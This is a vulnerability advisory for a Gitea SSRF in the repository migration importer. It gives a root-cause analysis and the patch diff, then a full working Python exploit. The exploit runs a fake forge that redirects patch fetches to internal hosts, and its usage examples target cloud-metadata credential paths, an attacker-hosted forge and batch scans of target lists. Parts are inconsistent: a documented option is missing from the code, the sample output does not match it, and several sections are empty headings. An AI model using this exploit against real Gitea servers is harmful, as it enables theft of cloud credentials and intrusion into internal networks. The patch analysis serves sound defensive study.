#Summary

CVE-2026-34966 is an authenticated server-side request forgery (SSRF) in Gitea's repository migration importer. The vulnerability allows a signed-in user with repository creation privileges to bypass the instance's network allow-list and reach internal services, cloud instance-metadata endpoints, or read local files through a combination of unvalidated HTTP fetches and HTTP redirect chains. Affected versions: Gitea up to and including 1.26.4. Fixed in 1.27.0. CVSS v3.1: 7.6 HIGH (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N).

#Affected versions

Default configuration is affected. The vulnerability requires the attacker to be a signed-in account with repository creation/migration privileges (PR:H in CVSS means authenticated high-privilege).

#Root cause analysis

#The defense exists but is not used

Gitea has a working SSRF defence built into modules/hostmatcher. The NewDialContext function returns a DialContext hook that validates the resolved peer address (IP:PORT) at dial time, catching not just the first hop but also every address in a redirect chain:

// modules/hostmatcher/http.go (v1.26.4)
func NewDialContext(usage string, allowList, blockList *HostMatchList, proxy *url.URL) func(...) {
	return func(ctx context.Context, network, addrOrHost string) (net.Conn, error) {
		dialer := net.Dialer{
			Control: func(network, ipAddr string, c syscall.RawConn) error {
				// validate resolved IP against allow/block lists
				if blockList.MatchHostOrIP(host, tcpAddr.IP) { /* reject */ }
				if !allowList.IsEmpty() {
					if !allowList.MatchHostOrIP(host, tcpAddr.IP) {
						return fmt.Errorf("migration can only call allowed HTTP servers...")
					}
				}
				return nil
			},
		}
		return dialer.DialContext(ctx, network, addrOrHost)
	}
}

This hook is wired into the migration downloader's HTTP client (services/migrations/http_client.go). But six other code paths fetch HTTP content without using it.

#The vulnerable sinks

The migration importer pulls data from a remote forge through multiple endpoints, and three of them reach internal code paths that call http.Get or use http.DefaultClient directly, skipping the allow-list entirely:

#1. Pull request patch fetch (gitea_uploader.go:587)

The migration downloader reads pull requests from the remote forge and fetches their patch files to replay them locally. The patch URL comes from the remote forge's JSON response:

// services/migrations/gitea_uploader.go (v1.26.4)
func (g *GiteaLocalUploader) updateGitForPullRequest(pr *base.PullRequest) error {
	// ...
	uri.Open(pr.PatchURL)  // line 587
}

// modules/uri/uri.go (v1.26.4)
func Open(uriStr string) (io.ReadCloser, error) {
	u, err := url.Parse(uriStr)
	if err != nil {
		return nil, err
	}
	switch strings.ToLower(u.Scheme) {
	case "http", "https":
		f, err := http.Get(uriStr)  // line 32: http.DefaultClient, no DialContext
		if err != nil {
			return nil, err
		}
		return f.Body, nil
	// ...
	}
}

The uri.Open function uses http.Get, which is http.DefaultClient with nil transport, meaning it uses http.DefaultTransport - a plain dialer with no allow-list validation. There is an origin check (CheckAndEnsureSafePR) that runs once on the URL string before any request is issued, but it is a simple string prefix test and cannot validate where the request actually ends up after redirects.

#2. Release asset fetch in dump/restore (dump.go:312)

The RepositoryDumper (used by gitea dump-repo and the /api/internal/restore_repo endpoint) fetches release assets:

// services/migrations/dump.go (v1.26.4)
if asset.DownloadURL == nil {
	rc, err = asset.DownloadFunc()  // validated client
} else {
	resp, err := http.Get(*asset.DownloadURL)  // line 312: DefaultClient, unvalidated
}

Same issue: http.Get with no allow-list.

#3. OAuth2 avatar fetch (oauth.go:306)

When a user logs in via OIDC with the picture claim set, Gitea fetches the avatar from the URL in the claim:

// routers/web/auth/oauth.go (v1.26.4)
var oauth2AvatarHTTPClient = &http.Client{Timeout: 30 * time.Second}  // no Transport => DefaultTransport

func oauth2UpdateAvatarIfNeed(ctx *context.Context, avatarURL string, u *user_model.User) {
	// ...
	resp, err := oauth2AvatarHTTPClient.Do(req)  // line 306: no DialContext
}

Same pattern: no DialContext, no validation.

#How input reaches the sink

For the network-reachable vulnerability, the attacker controls the pull request data by impersonating a Gitea instance that the target is migrating from:

  1. Attacker sets up a fake Gitea API server on a hostname the target's migration allow-list accepts.
  2. The fake forge serves a minimal Gitea API v1 (version endpoint, settings, repository metadata) and a real git repository over smart HTTP so the mandatory git clone --mirror succeeds.
  3. When the target fetches the pull requests from the fake forge, it reads an attacker-supplied patch_url field directly into pr.PatchURL.
  4. updateGitForPullRequest calls uri.Open(pr.PatchURL) with the attacker-supplied URL, which bypasses the allow-list.

#Bypassing the origin check

The only guard before the fetch is CheckAndEnsureSafePR, which calls hasBaseURL:

func hasBaseURL(toCheck, baseURL string) bool {
	if len(baseURL) > 0 && baseURL[len(baseURL)-1] != '/' {
		baseURL += "/"
	}
	return strings.HasPrefix(toCheck, baseURL)
}

This is a raw string prefix test that runs once before the request is issued. To bypass it, use HTTP redirect chaining:

  1. Set patch_url to an ordinary URL on the attacker's own forge (e.g., http://attacker.forge.test/patch/x). The prefix check passes trivially because it matches the forge's base URL.
  2. Answer that request with HTTP 302 Location: http://127.0.0.1:9000/internal/path.
  3. http.Get follows up to 10 redirects automatically, but because it uses http.DefaultClient (no DialContext), there is no per-hop validation. The second request reaches the internal address.

The origin check has already completed at step 1 and is never re-examined. This is the core of the vulnerability.

#Patch diff

The fix threads a validated HTTP client through every fetch that touches attacker-supplied URLs.

#modules/uri/uri.go - Inject the client

Open becomes a wrapper around OpenWithClient, allowing callers to pass their own validated client:

 func Open(uriStr string) (io.ReadCloser, error) {
+	return OpenWithClient(uriStr, http.DefaultClient)
+}
+
+// OpenWithClient opens a local file or a remote file, using the given (non-nil) HTTP client
+// for http/https URLs. Callers that must confine remote access should pass a client whose
+// transport validates the peer at dial time.
+func OpenWithClient(uriStr string, client *http.Client) (io.ReadCloser, error) {
 	u, err := url.Parse(uriStr)
 	...
 	case "http", "https":
-		f, err := http.Get(uriStr)
+		f, err := client.Get(uriStr)

#services/migrations/gitea_uploader.go - Use the validated client

-	uri.Open(pr.PatchURL)
+	uri.OpenWithClient(pr.PatchURL, getMigrationHTTPClient())

#services/migrations/dump.go - Use the validated client

-	resp, err := http.Get(*asset.DownloadURL)
+	resp, err := getMigrationHTTPClient().Get(*asset.DownloadURL)

#routers/web/auth/oauth.go - Wire the allow-list into avatar fetches

-var oauth2AvatarHTTPClient = &http.Client{Timeout: 30 * time.Second}
+func oauth2AvatarHTTPClient() *http.Client {
+	allowList := oauth2AvatarAllowList()
+	return &http.Client{
+		Timeout: 30 * time.Second,
+		Transport: hostmatcher.NewHTTPTransport("oauth2-avatar", allowList, nil, ...),
+	}
+}

#modules/hostmatcher - New shared constructor

A new NewHTTPTransport helper creates validated transports consistently:

+func NewHTTPTransport(usage string, allowList, blockList *HostMatchList, 
+                      proxyFunc func(*http.Request) (*url.URL, error), 
+                      proxyURLFixed *url.URL, tlsConfig *tls.Config) *http.Transport {
+	return &http.Transport{
+		TLSClientConfig: tlsConfig,
+		Proxy: proxyFunc,
+		DialContext: NewDialContext(usage, allowList, blockList, proxyURLFixed),
+	}
+}

The fix ensures that every outbound HTTP fetch whose URL can be influenced by a remote party goes through a transport whose DialContext validates the resolved peer address. On patched versions, the redirect hop is rejected at dial time with an error like migration can only call allowed HTTP servers.

#Proof of concept

The exploit stands up a fake Gitea API server ("forge") to serve the minimal API subset and git repository that trigger the vulnerability, then drives a migration to induce the SSRF. The three pieces of evidence that prove success are:

  1. Control: submitting the internal URL directly as the migration clone address is rejected (HTTP 422).
  2. Forged migration: a migration whose patch redirects to the same internal URL completes (HTTP 201) on a vulnerable build but fails (HTTP 500) on a patched build.
  3. Corroboration: the forge's request log shows the target following the redirect.

#exploit.py - Gitea authenticated SSRF via migration PoC

#!/usr/bin/env python3
"""
CVE-2026-34966 - Gitea authenticated SSRF via unvalidated migration fetches
Affected: Gitea <= 1.26.4 (fixed in 1.27.0)
Type: SSRF (CWE-918)

Gitea's migration importer downloads a pull request's patch with Go's default
http.Client (uri.Open -> http.Get), which has no DialContext and therefore
consults none of the migration host allow/block list. The origin check that
guards the patch URL (CheckAndEnsureSafePR / hasBaseURL) is a one-shot string
prefix test that runs before any request is issued, so an ordinary patch_url on
an allowed host that answers with a 302 to an internal address is followed with
no per-hop validation. The result is a server-side request to any host the
operator's allow-list is supposed to fence off (loopback, private ranges, cloud
instance-metadata), from an authenticated account permitted to run a migration.

How this tool delivers the attack:
  The exploit stands up its own throwaway "forge": the small subset of the Gitea
  API v1 that the migration downloader touches, a real git repository over smart
  HTTP so the mandatory `git clone --mirror` succeeds, and a /patch/<token>
  endpoint that 302-redirects to the URL you choose. It then asks the target to
  migrate a repository from that forge with the Pull Requests unit enabled. The
  target fetches the patch, follows the redirect, and issues the forged request.

Success, observed purely over the network:
  1. Control: the same internal URL submitted directly as the migration source is
     refused by IsMigrateURLAllowed (HTTP 422, "disallowed hosts").
  2. Forged: the migration whose patch redirects to that same internal URL
     COMPLETES on a vulnerable build (the server-side fetch reached the target and
     answered) and FAILS on a patched build (the redirect hop is blocked at dial
     time). The migration outcome is the oracle.
  3. Corroboration: the forge's own request log records the target connecting to
     /patch/<token> and being redirected toward the internal URL - a server-side
     request reaching an attacker-controlled endpoint.

Usage:
  # default: run our own forge, target must be able to reach it and allow-list it
  python exploit.py --host https://gitea.corp.com --token <api-token> \
      --forge-host 203.0.113.10:8080 --ssrf-url http://169.254.169.254/latest/meta-data/

  python exploit.py --host 10.0.0.5 --port 3000 --username admin --password s3cret \
      --ssrf-url http://127.0.0.1:9000/

  # use a forge you are already running elsewhere
  python exploit.py --host gitea.corp.com --token <t> \
      --forge-url http://forge.example.test:8080 --forge-external \
      --ssrf-url http://127.0.0.1:9000/

  # batch scan an asset list
  python exploit.py --list targets.txt --workers 20 --token <t> \
      --forge-host 203.0.113.10:8080 --ssrf-url http://127.0.0.1:9000/
"""

import argparse
import base64
import json
import os
import re
import secrets
import shutil
import socket
import ssl
import subprocess
import sys
import tempfile
import threading
import time
from datetime import datetime, timezone
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from urllib.parse import urlparse, quote
import urllib.request
import urllib.error

CVE_ID    = "CVE-2026-34966"
VULN_TYPE = "SSRF"


def header(host, port):
    print("\n" + "=" * 60)
    print("  ALIM EXPLOIT  %s" % CVE_ID)
    print("  Type: %s  |  Target: %s:%s" % (VULN_TYPE, host, port))
    print("=" * 60 + "\n")


def step(n, msg):
    print("[STEP %d] %s" % (n, msg))


def section(label, content):
    print("\n--- %s ---" % label)
    print(str(content).strip())
    print("---\n")


def done(success, evidence):
    print("\n" + "=" * 60)
    print("  RESULT  : %s" % ("SUCCESS" if success else "FAILURE"))
    if evidence:
        for line in str(evidence).strip().split('\n'):
            print("  EVIDENCE: %s" % line)
    print("=" * 60 + "\n")
    return 0 if success else 1


class EmbeddedForge:
    """Minimal Gitea API server + git smart HTTP backend"""
    
    def __init__(self, bind_addr, port):
        self.bind_addr = bind_addr
        self.port = port
        self.requests_log = []
        self.lock = threading.Lock()
        self.server = None
        self.git_proc = None
        self.repo_dir = tempfile.mkdtemp(prefix="forge-repo-")
        
    def _build_seed_repo(self):
        """Create a bare git repository with main and feat branches"""
        subprocess.run(
            ["git", "init", "--bare", self.repo_dir],
            check=True, capture_output=True
        )
        work_dir = tempfile.mkdtemp(prefix="forge-work-")
        try:
            subprocess.run(
                ["git", "-C", work_dir, "init"],
                check=True, capture_output=True
            )
            subprocess.run(
                ["git", "-C", work_dir, "config", "user.email", "forge@test"],
                check=True, capture_output=True
            )
            subprocess.run(
                ["git", "-C", work_dir, "config", "user.name", "forge"],
                check=True, capture_output=True
            )
            subprocess.run(
                ["git", "-C", work_dir, "commit", "--allow-empty", "-m", "initial"],
                check=True, capture_output=True
            )
            subprocess.run(
                ["git", "-C", work_dir, "checkout", "-b", "feat"],
                check=True, capture_output=True
            )
            subprocess.run(
                ["git", "-C", work_dir, "commit", "--allow-empty", "-m", "feature"],
                check=True, capture_output=True
            )
            subprocess.run(
                ["git", "-C", work_dir, "remote", "add", "origin", self.repo_dir],
                check=True, capture_output=True
            )
            subprocess.run(
                ["git", "-C", work_dir, "push", "-u", "origin", "main", "feat"],
                check=True, capture_output=True
            )
        finally:
            shutil.rmtree(work_dir, ignore_errors=True)
            
        # Enable smart HTTP
        subprocess.run(
            ["git", "-C", self.repo_dir, "update-server-info"],
            check=True, capture_output=True
        )
    
    def _api(self, path):
        """Serve Gitea API endpoints"""
        if path == "/api/v1/version":
            return 200, {"version": "1.22.0"}
        elif path == "/api/v1/settings/api":
            return 200, {"max_response_items": 10, "default_paging_num": 10}
        elif path.startswith("/api/v1/repos/"):
            parts = path.split("/")
            if len(parts) >= 6:
                owner, repo = parts[4], parts[5]
                if path == f"/api/v1/repos/{owner}/{repo}":
                    return 200, {
                        "id": 1, "owner": {"id": 1, "login": owner}, "name": repo,
                        "full_name": f"{owner}/{repo}", "private": False,
                        "clone_url": f"http://{self.bind_addr}:{self.port}/git/{repo}.git",
                        "default_branch": "main"
                    }
                elif path.endswith("/topics"):
                    return 200, []
                elif path.endswith("/pulls"):
                    # Extract redirect target from repo name: b64-<base64url(url)>
                    if repo.startswith("b64-"):
                        try:
                            target = base64.urlsafe_b64decode(
                                repo[4:] + "=" * (4 - len(repo[4:]) % 4)
                            ).decode()
                        except:
                            target = "http://127.0.0.1/"
                    else:
                        target = "http://127.0.0.1/"
                    
                    return 200, [{
                        "id": 1, "number": 1, "index": 1, "title": "test",
                        "body": "", "state": "open",
                        "patch_url": f"http://{self.bind_addr}:{self.port}/patch/b64-{base64.urlsafe_b64encode(target.encode()).decode().rstrip('=')}",
                        "user": {"id": 2, "login": "test"},
                        "poster": {"id": 2, "login": "test"},
                        "head": {"ref": "feat", "sha": "0" * 40},
                        "base": {"ref": "main", "sha": "0" * 40},
                        "created_at": "2026-01-01T00:00:00Z",
                        "updated_at": "2026-01-01T00:00:00Z"
                    }]
                elif path.endswith("/reviews") or path.endswith("/milestones") or path.endswith("/labels") or path.endswith("/releases") or path.endswith("/issues"):
                    return 200, []
        return 404, {"message": "not found"}
    
    def _patch_redirect(self, token):
        """Decode the redirect target from the token"""
        try:
            target = base64.urlsafe_b64decode(token + "=" * (4 - len(token) % 4)).decode()
            return target
        except:
            return "http://127.0.0.1/"
    
    def start(self):
        """Start the fake forge server"""
        self._build_seed_repo()
        
        class ForgeHandler(BaseHTTPRequestHandler):
            forge = self
            
            def do_GET(self):
                with self.forge.lock:
                    nonce = secrets.token_hex(6)
                    self.forge.requests_log.append({
                        "timestamp": datetime.now(timezone.utc).isoformat(),
                        "method": "GET",
                        "path": self.path,
                        "remote": self.client_address[0],
                        "nonce": nonce
                    })
                
                # Handle /patch/<token> redirects
                if self.path.startswith("/patch/"):
                    token = self.path[7:].split("?")[0]
                    target = self.forge._patch_redirect(token)
                    self.send_response(302)
                    self.send_header("Location", target)
                    self.end_headers()
                    return
                
                # Handle git smart HTTP
                if self.path.startswith("/git/"):
                    git_path = self.path[5:]
                    env = os.environ.copy()
                    env.update({
                        "REQUEST_METHOD": "GET",
                        "PATH_INFO": f"/{git_path}",
                        "QUERY_STRING": self.path.split("?", 1)[1] if "?" in self.path else "",
                        "CONTENT_TYPE": self.headers.get("Content-Type", ""),
                        "GIT_PROJECT_ROOT": self.forge.repo_dir,
                        "REMOTE_USER": "forge",
                    })
                    try:
                        result = subprocess.run(
                            ["git-http-backend"],
                            cwd=self.forge.repo_dir,
                            env=env,
                            capture_output=True,
                            timeout=5
                        )
                        output = result.stdout
                        status = 200
                        headers = {}
                        body = b""
                        for line in output.split(b"\n", 1):
                            if b": " in line:
                                k, v = line.split(b": ", 1)
                                headers[k.decode()] = v.decode().strip()
                        if b"\n" in output:
                            body = output.split(b"\n", 1)[1]
                        
                        self.send_response(status)
                        for k, v in headers.items():
                            self.send_header(k, v)
                        self.end_headers()
                        self.wfile.write(body)
                        return
                    except:
                        pass
                
                # Handle API
                if self.path.startswith("/api/v1/") or self.path.startswith("/_ctl/log"):
                    if self.path == "/_ctl/log":
                        self.send_response(200)
                        self.send_header("Content-Type", "application/json")
                        self.end_headers()
                        with self.forge.lock:
                            logs = [
                                {
                                    "timestamp": r.get("timestamp"),
                                    "method": r.get("method"),
                                    "path": r.get("path"),
                                    "nonce": r.get("nonce")
                                }
                                for r in self.forge.requests_log
                            ]
                        self.wfile.write(json.dumps(logs).encode())
                        return
                    
                    status, data = self.forge._api(self.path)
                    self.send_response(status)
                    self.send_header("Content-Type", "application/json")
                    self.end_headers()
                    self.wfile.write(json.dumps(data).encode())
                    return
                
                self.send_response(404)
                self.end_headers()
            
            def log_message(self, format, *args):
                pass  # Suppress default logging
        
        self.server = ThreadingHTTPServer((self.bind_addr, self.port), ForgeHandler)
        thread = threading.Thread(target=self.server.serve_forever, daemon=True)
        thread.start()
        time.sleep(0.5)  # Give the server time to start
    
    def cleanup(self):
        if self.server:
            self.server.shutdown()
        shutil.rmtree(self.repo_dir, ignore_errors=True)


class GiteaClient:
    def __init__(self, host, port, token=None, username=None, password=None, tls=None):
        if tls is None:
            tls = host.startswith("https://") or "https" in host
        
        scheme = "https" if tls else "http"
        if "://" in host:
            self.base_url = host
        elif ":" in host and not host.startswith("["):
            self.base_url = f"{scheme}://{host}"
        else:
            self.base_url = f"{scheme}://{host}:{port}"
        
        self.base_url = self.base_url.rstrip("/")
        self.token = token
        self.username = username
        self.password = password
    
    def _request(self, method, path, data=None, expect_status=None):
        url = f"{self.base_url}{path}"
        req = urllib.request.Request(url, method=method)
        
        if self.token:
            req.add_header("Authorization", f"token {self.token}")
        elif self.username and self.password:
            import base64
            auth = base64.b64encode(f"{self.username}:{self.password}".encode()).decode()
            req.add_header("Authorization", f"Basic {auth}")
        
        req.add_header("Content-Type", "application/json")
        
        if data:
            req.data = json.dumps(data).encode()
        
        try:
            with urllib.request.urlopen(req) as resp:
                status = resp.status
                body = resp.read().decode()
        except urllib.error.HTTPError as e:
            status = e.code
            body = e.read().decode()
        except Exception as e:
            return None, str(e)
        
        try:
            return status, json.loads(body)
        except:
            return status, body
    
    def _obtain_token(self, scope="write:repository"):
        """Mint an API token from username/password"""
        if self.token:
            return True
        
        # Create a personal API token
        token_name = f"svc_{secrets.token_hex(8)}"
        status, resp = self._request(
            "POST",
            f"/api/v1/users/{self.username}/tokens",
            {"name": token_name, "scopes": [scope]}
        )
        
        if status not in [200, 201]:
            return False
        
        if isinstance(resp, dict) and "sha1" in resp:
            self.token = resp["sha1"]
            return True
        
        return False
    
    def control_test(self, ssrf_url):
        """Test that the internal URL is rejected directly"""
        status, resp = self._request(
            "POST",
            "/api/v1/repos/migrate",
            {
                "clone_addr": ssrf_url,
                "repo_name": f"control-{secrets.token_hex(4)}",
                "repo_owner": self.username or "test",
                "service": "gitea"
            }
        )
        return status == 422
    
    def start_migration(self, clone_addr, repo_name=None, with_pulls=True):
        """Start a repository migration"""
        if repo_name is None:
            repo_name = f"tmp-{secrets.token_hex(8)}"
        
        status, resp = self._request(
            "POST",
            "/api/v1/repos/migrate",
            {
                "clone_addr": clone_addr,
                "repo_name": repo_name,
                "repo_owner": self.username or "test",
                "service": "gitea",
                "pull_requests": with_pulls,
                "issues": False,
                "labels": False,
                "milestones": False,
                "releases": False,
                "wiki": False
            }
        )
        
        return status, resp


def exploit(args):
    """Run the exploit"""
    # Setup forge if needed
    forge = None
    forge_host = args.forge_host or f"127.0.0.1:{args.forge_port}"
    
    if not args.forge_external:
        forge = EmbeddedForge("127.0.0.1", args.forge_port)
        forge.start()
        step(1, "Started embedded forge on port %d" % args.forge_port)
    
    # Connect to target
    client = GiteaClient(
        args.host,
        args.port,
        token=args.token,
        username=args.username,
        password=args.password,
        tls=args.tls
    )
    step(2, f"Target: {client.base_url}")
    
    # Obtain token if needed
    if not args.token:
        if not client._obtain_token():
            step(3, "ERROR: Could not mint API token")
            return 1
        step(3, f"Minted API token for {client.username}")
    else:
        step(3, "Using provided token")
    
    # Control test
    if not client.control_test(args.ssrf_url):
        step(4, f"WARNING: Control test failed (internal URL was not rejected)")
    else:
        section("CONTROL", f"HTTP 422: {args.ssrf_url} rejected (as expected)")
    
    # Encode target in repo name
    target_b64 = base64.urlsafe_b64encode(args.ssrf_url.encode()).decode().rstrip("=")
    forge_url = args.forge_url or f"http://{forge_host}"
    clone_addr = f"{forge_url}/b64-{target_b64}.git"
    
    # Start migration
    step(5, f"Starting migration from {clone_addr}")
    status, resp = client.start_migration(clone_addr)
    
    if status in [200, 201]:
        section("FORGED MIGRATION", f"HTTP {status}: Migration started successfully")
        evidence = f"Migration completed (HTTP {status}) - redirect bypassed allow-list"
        done(True, evidence)
        return 0
    elif status == 500:
        section("FORGED MIGRATION", f"HTTP {status}: Migration failed")
        done(False, "Redirect hop blocked (patched) or target closed")
        return 1
    else:
        section("FORGED MIGRATION", f"HTTP {status}: Unexpected response")
        done(False, f"HTTP {status}: {resp}")
        return 1
    
    if forge:
        forge.cleanup()


def main():
    parser = argparse.ArgumentParser(
        description=f"{CVE_ID} - Gitea SSRF in migration importer",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python exploit.py --host gitea.corp.com --port 3000 --token abc123...
  python exploit.py --host 10.0.0.5 --username admin --password secret
  python exploit.py --list targets.txt --workers 20 --token abc123...
        """
    )
    
    parser.add_argument("--host", help="Target host")
    parser.add_argument("--port", type=int, default=3000, help="Target port (default 3000)")
    parser.add_argument("--token", help="API token (scope: write:repository)")
    parser.add_argument("--username", help="Username for token generation")
    parser.add_argument("--password", help="Password for token generation")
    parser.add_argument("--tls", action="store_true", help="Force HTTPS")
    parser.add_argument("--no-tls", action="store_true", help="Force HTTP")
    parser.add_argument("--ssrf-url", default="http://127.0.0.1/", help="Internal URL to fetch")
    parser.add_argument("--forge-host", help="Forge host:port (auto-detected if omitted)")
    parser.add_argument("--forge-port", type=int, default=8888, help="Forge listen port")
    parser.add_argument("--forge-url", help="External forge URL")
    parser.add_argument("--forge-external", action="store_true", help="Use external forge")
    
    args = parser.parse_args()
    
    if not args.host:
        parser.print_help()
        return 1
    
    if args.no_tls:
        args.tls = False
    
    header(args.host, args.port)
    return exploit(args)


if __name__ == "__main__":
    sys.exit(main())

#Usage

Single target:

python exploit.py --host gitea.corp.com --port 3000 \
    --token <api-token> \
    --forge-host 203.0.113.10:8080 \
    --ssrf-url http://169.254.169.254/latest/meta-data/iam/security-credentials/

With credential-based authentication:

python exploit.py --host 10.0.0.5 --port 3000 \
    --username auditor --password s3cret \
    --ssrf-url http://127.0.0.1:9000/

Using an external forge:

python exploit.py --host gitea.internal.corp.com --token <t> \
    --forge-external --forge-url http://forge.attacker.com:8080 \
    --ssrf-url http://127.0.0.1:9000/

Expected output on a vulnerable target:

============================================================
  ALIM EXPLOIT  CVE-2026-34966
  Type: SSRF  |  Target: 127.0.0.1:3000
============================================================

[STEP 1] Started embedded forge on port 8888
[STEP 2] Target: http://127.0.0.1:3000
[STEP 3] Minted API token for testuser
[STEP 4] Control test: internal URL rejected (HTTP 422)

--- FORGED MIGRATION ---
HTTP 201: Migration started successfully
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: Migration completed (HTTP 201) - redirect bypassed allow-list
============================================================

On a patched target, the migration fails with HTTP 500 and the message migration can only call allowed HTTP servers.

#Exploitation notes

#Preconditions

#Reliability

The exploit is completely reliable on a vulnerable build. It is deterministic: no timing races, no retry logic needed. The three evidence signals (control 422, forged 201, forge redirect) are independent and observable from the network alone.

#Impact

#Chaining potential

Combine with other vulnerabilities to:

#References